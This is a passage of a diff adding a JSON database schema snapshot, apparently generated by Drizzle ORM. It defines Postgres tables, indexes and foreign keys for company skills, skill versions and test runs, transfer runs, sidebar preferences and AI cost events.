+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "company_skill_test_runs_company_status_idx": {
+          "name": "company_skill_test_runs_company_status_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "status",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "company_skill_test_runs_company_harness_expires_idx": {
+          "name": "company_skill_test_runs_company_harness_expires_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "harness_issue_expires_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "company_skill_test_runs_company_id_companies_id_fk": {
+          "name": "company_skill_test_runs_company_id_companies_id_fk",
+          "tableFrom": "company_skill_test_runs",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "company_skill_test_runs_skill_id_company_skills_id_fk": {
+          "name": "company_skill_test_runs_skill_id_company_skills_id_fk",
+          "tableFrom": "company_skill_test_runs",
+          "tableTo": "company_skills",
+          "columnsFrom": [
+            "skill_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "company_skill_test_runs_input_id_company_skill_test_inputs_id_fk": {
+          "name": "company_skill_test_runs_input_id_company_skill_test_inputs_id_fk",
+          "tableFrom": "company_skill_test_runs",
+          "tableTo": "company_skill_test_inputs",
+          "columnsFrom": [
+            "input_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "company_skill_test_runs_skill_version_id_company_skill_versions_id_fk": {
+          "name": "company_skill_test_runs_skill_version_id_company_skill_versions_id_fk",
+          "tableFrom": "company_skill_test_runs",
+          "tableTo": "company_skill_versions",
+          "columnsFrom": [
+            "skill_version_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "restrict",
+          "onUpdate": "no action"
+        },
+        "company_skill_test_runs_agent_id_agents_id_fk": {
+          "name": "company_skill_test_runs_agent_id_agents_id_fk",
+          "tableFrom": "company_skill_test_runs",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "restrict",
+          "onUpdate": "no action"
+        },
+        "company_skill_test_runs_issue_id_issues_id_fk": {
+          "name": "company_skill_test_runs_issue_id_issues_id_fk",
+          "tableFrom": "company_skill_test_runs",
+          "tableTo": "issues",
+          "columnsFrom": [
+            "issue_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "restrict",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.company_skill_versions": {
+      "name": "company_skill_versions",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "company_skill_id": {
+          "name": "company_skill_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "revision_number": {
+          "name": "revision_number",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "label": {
+          "name": "label",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "release_id": {
+          "name": "release_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "release_name": {
+          "name": "release_name",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "released_at": {
+          "name": "released_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "file_inventory": {
+          "name": "file_inventory",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'[]'::jsonb"
+        },
+        "author_agent_id": {
+          "name": "author_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "author_user_id": {
+          "name": "author_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "company_skill_versions_skill_revision_idx": {
+          "name": "company_skill_versions_skill_revision_idx",
+          "columns": [
+            {
+              "expression": "company_skill_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "revision_number",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "company_skill_versions_skill_release_idx": {
+          "name": "company_skill_versions_skill_release_idx",
+          "columns": [
+            {
+              "expression": "company_skill_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "release_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "where": "\"company_skill_versions\".\"release_id\" is not null",
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "company_skill_versions_company_skill_created_idx": {
+          "name": "company_skill_versions_company_skill_created_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "company_skill_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "created_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "company_skill_versions_company_id_companies_id_fk": {
+          "name": "company_skill_versions_company_id_companies_id_fk",
+          "tableFrom": "company_skill_versions",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "company_skill_versions_company_skill_id_company_skills_id_fk": {
+          "name": "company_skill_versions_company_skill_id_company_skills_id_fk",
+          "tableFrom": "company_skill_versions",
+          "tableTo": "company_skills",
+          "columnsFrom": [
+            "company_skill_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "company_skill_versions_author_agent_id_agents_id_fk": {
+          "name": "company_skill_versions_author_agent_id_agents_id_fk",
+          "tableFrom": "company_skill_versions",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "author_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.company_skills": {
+      "name": "company_skills",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "folder_id": {
+          "name": "folder_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "key": {
+          "name": "key",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "slug": {
+          "name": "slug",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "name": {
+          "name": "name",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "description": {
+          "name": "description",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "markdown": {
+          "name": "markdown",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "source_type": {
+          "name": "source_type",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'local_path'"
+        },
+        "source_locator": {
+          "name": "source_locator",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "source_ref": {
+          "name": "source_ref",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "trust_level": {
+          "name": "trust_level",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'markdown_only'"
+        },
+        "compatibility": {
+          "name": "compatibility",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'compatible'"
+        },
+        "file_inventory": {
+          "name": "file_inventory",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'[]'::jsonb"
+        },
+        "icon_url": {
+          "name": "icon_url",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "color": {
+          "name": "color",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "tagline": {
+          "name": "tagline",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "author_name": {
+          "name": "author_name",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "homepage_url": {
+          "name": "homepage_url",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "categories": {
+          "name": "categories",
+          "type": "text[]",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'{}'"
+        },
+        "sharing_scope": {
+          "name": "sharing_scope",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'company'"
+        },
+        "public_share_token": {
+          "name": "public_share_token",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "forked_from_skill_id": {
+          "name": "forked_from_skill_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "forked_from_company_id": {
+          "name": "forked_from_company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "star_count": {
+          "name": "star_count",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": true,
+          "default": 0
+        },
+        "install_count": {
+          "name": "install_count",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": true,
+          "default": 0
+        },
+        "fork_count": {
+          "name": "fork_count",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": true,
+          "default": 0
+        },
+        "current_version_id": {
+          "name": "current_version_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "metadata": {
+          "name": "metadata",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "company_skills_company_key_idx": {
+          "name": "company_skills_company_key_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "key",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "company_skills_company_name_idx": {
+          "name": "company_skills_company_name_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "name",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "company_skills_company_folder_idx": {
+          "name": "company_skills_company_folder_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "folder_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "company_skills_company_categories_idx": {
+          "name": "company_skills_company_categories_idx",
+          "columns": [
+            {
+              "expression": "categories",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "gin",
+          "with": {}
+        },
+        "company_skills_company_sharing_scope_idx": {
+          "name": "company_skills_company_sharing_scope_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "sharing_scope",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "company_skills_company_current_version_idx": {
+          "name": "company_skills_company_current_version_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "current_version_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "company_skills_company_forked_from_idx": {
+          "name": "company_skills_company_forked_from_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "forked_from_skill_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "company_skills_company_id_companies_id_fk": {
+          "name": "company_skills_company_id_companies_id_fk",
+          "tableFrom": "company_skills",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "company_skills_folder_id_folders_id_fk": {
+          "name": "company_skills_folder_id_folders_id_fk",
+          "tableFrom": "company_skills",
+          "tableTo": "folders",
+          "columnsFrom": [
+            "folder_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "company_skills_forked_from_skill_id_company_skills_id_fk": {
+          "name": "company_skills_forked_from_skill_id_company_skills_id_fk",
+          "tableFrom": "company_skills",
+          "tableTo": "company_skills",
+          "columnsFrom": [
+            "forked_from_skill_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "company_skills_forked_from_company_id_companies_id_fk": {
+          "name": "company_skills_forked_from_company_id_companies_id_fk",
+          "tableFrom": "company_skills",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "forked_from_company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "company_skills_current_version_id_company_skill_versions_id_fk": {
+          "name": "company_skills_current_version_id_company_skill_versions_id_fk",
+          "tableFrom": "company_skills",
+          "tableTo": "company_skill_versions",
+          "columnsFrom": [
+            "current_version_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.company_transfer_runs": {
+      "name": "company_transfer_runs",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "direction": {
+          "name": "direction",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "status": {
+          "name": "status",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'pending'"
+        },
+        "actor_key": {
+          "name": "actor_key",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "container_ref": {
+          "name": "container_ref",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "idempotency_key": {
+          "name": "idempotency_key",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "manifest_sha256": {
+          "name": "manifest_sha256",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "manifest": {
+          "name": "manifest",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "chunk_count": {
+          "name": "chunk_count",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": true,
+          "default": 0
+        },
+        "blob_count": {
+          "name": "blob_count",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": true,
+          "default": 0
+        },
+        "completed_parts": {
+          "name": "completed_parts",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'[]'::jsonb"
+        },
+        "error": {
+          "name": "error",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "started_at": {
+          "name": "started_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "finished_at": {
+          "name": "finished_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "company_transfer_runs_company_idx": {
+          "name": "company_transfer_runs_company_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "company_transfer_runs_idempotency_direction_idx": {
+          "name": "company_transfer_runs_idempotency_direction_idx",
+          "columns": [
+            {
+              "expression": "idempotency_key",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "direction",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "company_transfer_runs_actor_status_idx": {
+          "name": "company_transfer_runs_actor_status_idx",
+          "columns": [
+            {
+              "expression": "actor_key",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "status",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "company_transfer_runs_company_id_companies_id_fk": {
+          "name": "company_transfer_runs_company_id_companies_id_fk",
+          "tableFrom": "company_transfer_runs",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.company_user_sidebar_preferences": {
+      "name": "company_user_sidebar_preferences",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "user_id": {
+          "name": "user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "project_order": {
+          "name": "project_order",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'[]'::jsonb"
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "company_user_sidebar_preferences_company_idx": {
+          "name": "company_user_sidebar_preferences_company_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "company_user_sidebar_preferences_user_idx": {
+          "name": "company_user_sidebar_preferences_user_idx",
+          "columns": [
+            {
+              "expression": "user_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "company_user_sidebar_preferences_company_user_uq": {
+          "name": "company_user_sidebar_preferences_company_user_uq",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "user_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "company_user_sidebar_preferences_company_id_companies_id_fk": {
+          "name": "company_user_sidebar_preferences_company_id_companies_id_fk",
+          "tableFrom": "company_user_sidebar_preferences",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.cost_events": {
+      "name": "cost_events",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "agent_id": {
+          "name": "agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "issue_id": {
+          "name": "issue_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "project_id": {
+          "name": "project_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "goal_id": {
+          "name": "goal_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "heartbeat_run_id": {
+          "name": "heartbeat_run_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "billing_code": {
+          "name": "billing_code",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "provider": {
+          "name": "provider",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "biller": {
+          "name": "biller",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'unknown'"
+        },
+        "billing_type": {
+          "name": "billing_type",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'unknown'"
+        },
+        "cost_status": {
+          "name": "cost_status",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'reported'"
+        },
+        "model": {
+          "name": "model",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "input_tokens": {
+          "name": "input_tokens",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": true,
+          "default": 0
+        },
+        "cached_input_tokens": {
+          "name": "cached_input_tokens",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": true,
+          "default": 0
+        },
+        "output_tokens": {
+          "name": "output_tokens",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": true,
+          "default": 0
+        },
+        "cost_cents": {
+          "name": "cost_cents",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "occurred_at": {
+          "name": "occurred_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "cost_events_company_occurred_idx": {
+          "name": "cost_events_company_occurred_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "occurred_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "cost_events_company_agent_occurred_idx": {
+          "name": "cost_events_company_agent_occurred_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "agent_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "occurred_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "cost_events_company_provider_occurred_idx": {
+          "name": "cost_events_company_provider_occurred_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "provider",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "occurred_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "cost_events_company_biller_occurred_idx": {
+          "name": "cost_events_company_biller_occurred_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "biller",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "occurred_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "cost_events_company_heartbeat_run_idx": {
+          "name": "cost_events_company_heartbeat_run_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "heartbeat_run_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "cost_events_company_id_companies_id_fk": {
+          "name": "cost_events_company_id_companies_id_fk",
+          "tableFrom": "cost_events",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "cost_events_agent_id_agents_id_fk": {
+          "name": "cost_events_agent_id_agents_id_fk",
+          "tableFrom": "cost_events",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "cost_events_issue_id_issues_id_fk": {
+          "name": "cost_events_issue_id_issues_id_fk",
+          "tableFrom": "cost_events",
+          "tableTo": "issues",
+          "columnsFrom": [
+            "issue_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "cost_events_project_id_projects_id_fk": {
+          "name": "cost_events_project_id_projects_id_fk",
+          "tableFrom": "cost_events",
+          "tableTo": "projects",
+          "columnsFrom": [
+            "project_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "cost_events_goal_id_goals_id_fk": {
+          "name": "cost_events_goal_id_goals_id_fk",
+          "tableFrom": "cost_events",
+          "tableTo": "goals",
+          "columnsFrom": [
+            "goal_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "cost_events_heartbeat_run_id_heartbeat_runs_id_fk": {
+          "name": "cost_events_heartbeat_run_id_heartbeat_runs_id_fk",
+          "tableFrom": "cost_events",
+          "tableTo": "heartbeat_runs",
+          "columnsFrom": [
+            "heartbeat_run_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.decision_archive_notification_outbox": {
+      "name": "decision_archive_notification_outbox",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "source_kind": {
+          "name": "source_kind",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "source_id": {
+          "name": "source_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
